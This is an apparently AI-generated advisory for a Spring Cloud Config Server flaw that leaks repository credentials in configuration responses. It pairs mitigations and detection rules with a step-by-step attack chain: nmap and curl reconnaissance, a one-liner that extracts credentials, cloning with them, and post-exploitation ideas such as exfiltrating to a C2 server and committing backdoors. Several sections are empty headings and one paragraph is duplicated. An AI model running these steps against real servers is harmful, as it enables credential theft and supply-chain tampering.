CVE-2026-59435 — Spring Cloud Config (5.0.6.1) — CWE-319
Spring Cloud Config Server includes the full URI of its backend repository in the name of every property source it returns. When the Git or SVN repository URI contains credentials in its userinfo section, those credentials are returned in clear text in the response body of every successful configuration request.
Spring Cloud Config Server includes the full URI of its backend repository in the name of every property source it returns. When the Git or SVN repository URI contains credentials in its userinfo section, those credentials are returned in clear text in the response body of every successful configuration request.
🎯 What is this vulnerability?
CVE‑2026‑59435 is a confidentiality flaw in Spring Cloud Config Server 5.0.6.1.
When the backend Git or SVN repository URI contains user‑info (e.g. https://user:[email protected]), the Config Server includes the entire URI in the name field of every propertySource it returns. Because the name field is part of the JSON body sent to any client that requests configuration, the credentials are exposed in clear text to anyone who can reach the Config Server endpoint.
- Root cause – The server does not sanitize or strip the user‑info component of the repository URI before embedding it in the response.
- CWE – CWE‑319: Cleartext Transmission of Sensitive Information.
- CVSS – 7.5/10 (High) with vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
* No authentication or authorization is required; the attack is purely network‑based and requires no user interaction.
⚡ Attack Chain
NOTE: The following chain is a realistic, step‑by‑step example.
The exact endpoint (/config/{app}/{profile}) and query parameters are the standard Spring Cloud Config API; if a vendor has customized the path, the same principle applies.1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands |
|---|---|---|
| 1.1 | Identify potential Config Server instances | nmap -p 8888 -sV <target> |
| 1.2 | Verify the endpoint and version | curl -s http://<target>:8888/actuator/health → look for "configServer" or "spring.cloud.config.server" in the JSON. |
| 1.3 | Confirm version 5.0.6.1 | curl -s http://<target>:8888/actuator/info → parse "spring.cloud.config.server.version" |
2. Exploitation
1. Send a normal configuration request
curl -s http://<target>:8888/config/myapp/default2. Inspect the response
The JSON contains an array propertySources. Each element has a name field that looks like:
{
"name": "https://user:[email protected]/org/repo.git",
"source": { ... }
}3. Extract credentials
curl -s http://<target>:8888/config/myapp/default | \
jq -r '.propertySources[].name' | \
grep -oP '(?<=://).+?(?=@)'
# Output: user:pass4. Clone the repository (if write access is granted)
git clone https://user:[email protected]/org/repo.git5. Read secrets or modify the repo
* Pull secrets stored in application.yml, secrets/, etc.
* Push malicious changes if write access is available.
Illustrative Example – The exact URI (/config/myapp/default) is the canonical Spring Cloud Config path. If a deployment uses a custom path (e.g.,/config-service), replace it accordingly.
3. Post‑Exploitation
| Goal | How it’s achieved |
|---|---|
| Data exfiltration | Copy sensitive files from the repo and upload them to a C2 server. |
| Privilege escalation | If the repo contains credentials for other services (DB, cloud APIs), use them to compromise downstream systems. |
| Persistence | Commit a backdoor or malicious configuration that is automatically loaded by services on restart. |
| Denial‑of‑Service | Push a misconfiguration that causes application failures (e.g., wrong DB URL). |
🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality | High – attacker learns the exact username/password (or token) used to access the backend repository. |
| Integrity | None – the vulnerability does not alter data. |
| Availability | None – no direct impact on service uptime. |
Practical consequences
🛡️ Remediation & Mitigation
Affected Versions
Patch
Workarounds
1. Remove credentials from the repository URI
* Use SSH keys or token‑based authentication instead of embedding user:pass in the URL.
* Example: [email protected]:org/repo.git or https://<token>@github.com/org/repo.git (token should be scoped to read only).
2. Configure the Config Server to strip credentials
* If the server exposes a property or flag (e.g., spring.cloud.config.server.stripCredentials=true), enable it.
* If not available, patch the source: modify the PropertySource creation logic to replace the name with a sanitized value.
3. Restrict access to the Config Server
* Place the server behind an internal firewall or VPN.
Use Spring Security to require authentication for /config/* endpoints.
* Example security config:
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.antMatchers("/config/**").authenticated()
.and()
.httpBasic();
}
}4. WAF / ModSecurity rule
SecRule RESPONSE_BODY "@rx https?://[^/]+:[^@]+@[^/]+" \
"id:12345,phase:4,deny,status:403,msg:'Credential leakage detected in Config Server response'"5. Logging & Monitoring
Enable detailed logging for /config/* requests.
* Alert on repeated requests from external IPs or on responses containing ://user:pass@.
Detection
| Indicator | How to detect |
|---|---|
Response body contains :// followed by @ | Scan logs for https?://[^/]+:[^@]+@[^/]+ in the propertySources[].name field. |
Repeated /config/ requests from untrusted IPs | Correlate with firewall logs or WAF alerts. |
| Unexpected clone attempts to the repo | Monitor Git server logs for git clone https://user:pass@... patterns. |
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query